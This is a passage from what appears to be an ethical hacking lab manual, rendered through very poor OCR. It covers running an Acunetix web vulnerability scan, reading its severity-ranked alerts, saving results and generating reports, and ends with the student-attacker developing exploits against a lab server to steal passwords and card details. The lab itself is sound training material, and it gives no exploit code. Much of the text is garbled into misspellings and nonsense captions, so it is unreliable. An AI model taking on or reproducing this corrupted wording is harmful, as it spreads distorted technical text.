drreel 45 actuon

Lippdes o
Ho [T00280

Pab [hegaite

Cra ot promot e agam for thiz session |

FIGURE 7.1 HTTF sshenhicasee pop-u
17. The Secwity alerts discovered cn the website are listed in real time
uoder the Alers node in the Sean Results window. A Site Stmctuee
node is also created, which lists folders discovered

=1 |

L;-_I Woeme: TF che s i

Aggicoirn Ly [E

FIGLRE 7.1E: Acuness WVE Digdiing Sty Alet

Eshiral Hacldng aml Counsemseanses Copneggt Oy E-lamell
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18. The Web Alers node displays all vulnembilites fonnd on the tapet

wehate.
19. Web Alerrs are sorted into four severity levels:
* High Rizk Alert Tevel 3
* Mdedman Rizk Alert Lewvel 2
" Tow Risk Alect Tewel 1
*  Informanonal Alert

. The mmmber of wilnecabilities detected is displayed in patentheses next
to the alest categones.

e alk raen develogren
el moeogrmres &0tk
sty g s K
crorpen bl aendpis

L RE

FIGLRE 7.1 Aaoess WS Rl

21. An attacker can exploit any of these vulnerabdlities fomnd by Aconets
and gain zccess to the backend databasa.
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“ENTE

Save
Sean Result

sdl:raving rw et 4
quickly wiesify sl sl
vubwralbelsica. The mipoct
e fewtured detailed

mibhron eemple and

foe
Bemng vubsrdchiiz
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2 When the scan 15 complete, you can save the sean results to an

external file for later analysis and companson.

23. To save the scan results, click File & Save Scan Results. Select a

desired locaton, and save the scan resnlts.

MNote: You can save the remlt in Aonnetiz WV only if it is a licensed version.

vuberalery (i conbens
it Grk g expecand
s, the sisack heubes

sed #ha gpecifc test detals

FIGLRE 7.13 Acusetiz TV5 Resuk

N |

. Statistical Repests allow you to gather wlnerabdity information from
the results database and present periodic vulnerabiliy statisties.

. This eport allows developers and management to track secnoty
changes over ime and compile trend anabysis reports.

S S -4
FIGLRE T1& Arrets WS (ewsee Ry ophion
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27, This starts the Asunetix WVS Reporter.

MNote: Tom can generate a repart in Amnets W5 ooly if 4= 2 Lheensed
version.

. The Repost Viewer is a standalone appheation that allows von to view,
save, expert, and print generated repeorts, which can be ezported as
PDF, HTMI., Text, Word Docnment, or BAP files.

. To generate a report, select the type of report Fou want to penewte, and
click Report Wizard.

0. If yon aze penerating 1 compliance report, select the ope of
compliznce repore. If you are genemting a comparisen report, select
the scan: yon wonld like to compare. If yon are penerating 3 monthly
report, specify the month and year on which you wonld like to report.
Click Hext o conmnme.

j1. Confipnse the scan filter to kst 2 mumber of specific saved scams, or
leave the defanlr selection wo display all scan resules. Chek MHeaxt 1o
proceed and select the specific scan for which von wish to generate a
fepot.

32 Select what properties and details the report chonld inclnde Click
Generate to fnalize the wizard and penerate the report

33. The WV5 Reperter contins the following pronps of seports:

* Developer - Shows affected pages and files

* Ezxecutive - Provides a mmmary of secnry of the website

¥ Vulnesahdlity - Lists vnlnerabdities and thew smpact

Comparizon - Compares against previons scans
Statistical - Compiles trend analyss
Compliznce Standard - PCI D55, OWASP, WASC
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[rr=y o ——

I:H The Si=em

foue 3 weh appbeation

FIGURE .15 Acuness T Ciemtrse Rt wanchos

Mote: This is 2 sample repost; the toal verson doewn’t mppost the abdiy to

generate 3 repat for 2 scanned webate.

34. Tsing the vulnerabilities detected dnong the scan, the artacker on the
Windows Server 2008 machine (here, you) toes to develop smtahle
exploits for compromising the web application installed oo the
Windows Server 2012 wirmal machine, and obtans sensitve
mformation, incleding passwords, personal information, credit-casd
detzails, and 5o on

Analysis

Amalyze and doenment the resnles selated to this lab exemise. Promde yoor oprimon
of your tacpet’s secnaty posmre and exposace.

O Yes
Platform Supported

1 Classroom
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